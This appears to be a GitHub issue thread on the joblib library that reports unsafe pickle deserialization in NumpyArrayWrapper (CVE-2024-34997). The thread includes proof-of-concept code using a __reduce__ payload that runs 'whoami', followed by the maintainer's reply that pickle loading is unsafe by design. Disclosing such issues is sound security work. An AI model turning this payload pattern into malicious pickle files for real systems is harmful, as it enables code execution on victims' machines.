an unsafe use of pickle

[K1ingzzz]

Python 3.9.13, joblib 1.4.2

joblib.numpy_pickle::NumpyArrayWrapper().read_array() use pickle.load() to deserialize data, which may allows to execute evil code locally,if the project runs on a public online server,it may cause romate attack through reverse shell.

poc

#test.py
from joblib.numpy_pickle import NumpyArrayWrapper
import os
import pickle
import numpy

class A:
    def __reduce__(self):
        return (os.system,('whoami',))
    
a=A()
with open('testnpyarray.pkl','wb') as file:
    pickle.dump(a,file)

class B:
    def __init__(self,file_handle):
        self.file_handle=file_handle

x=numpy.array([1,'a',{}],dtype=object)
with open('testnpyarray.pkl','rb') as f:
    b=B(f)
    NumpyArrayWrapper(subclass='',shape=[],order='',dtype=x.dtype).read_array(b)

run python .\test.py, and the shell will display your username, that is the result of cmd whoami

[carnil]

This issue seems to have gotten CVE-2024-34997 assigned.

[tomMoral]

Hello,

Thanks for the issue, however, I don't think it makes sense in the context of the joblib library.
Note that similar issue has already been discussed in #977

Here, the NumpyArrayWrapper is used internally to persist numpy arrays in the context of sharing objects between two processes/distributed experiments/caching.
One of joblib's goal is to allow the user to serialize any Python object to communicate tasks or results, or to cache results. To achieve this, we need to be as open as possible with our serialization and therefor use the pickle format.

IMO, a simpler and unsafe pattern is even simpler than this:

import os
import pickle

class A:
    def __reduce__(self):
        return (os.system,('whoami',))
    
a=A()

with open('a.pkl','wb') as file:
    pickle.dump(a,file)
with open('a.pkl', 'rb') as file:
    pickle.load(file)

So why add an extra feature to avoid this in a nested case?
We are already making it clear that joblib.load should not be used for inter-user sharing on this page: https://joblib.readthedocs.io/en/stable/generated/joblib.load.html
We could maybe make the NumpyArrayWrapper private to make it clearer it should not be used outside the parallel/caching context if you think this is not clear enough (it is not exposed in the doc).

I am closing this issue for now but feel free to continue the discussion if you think I am missing some points.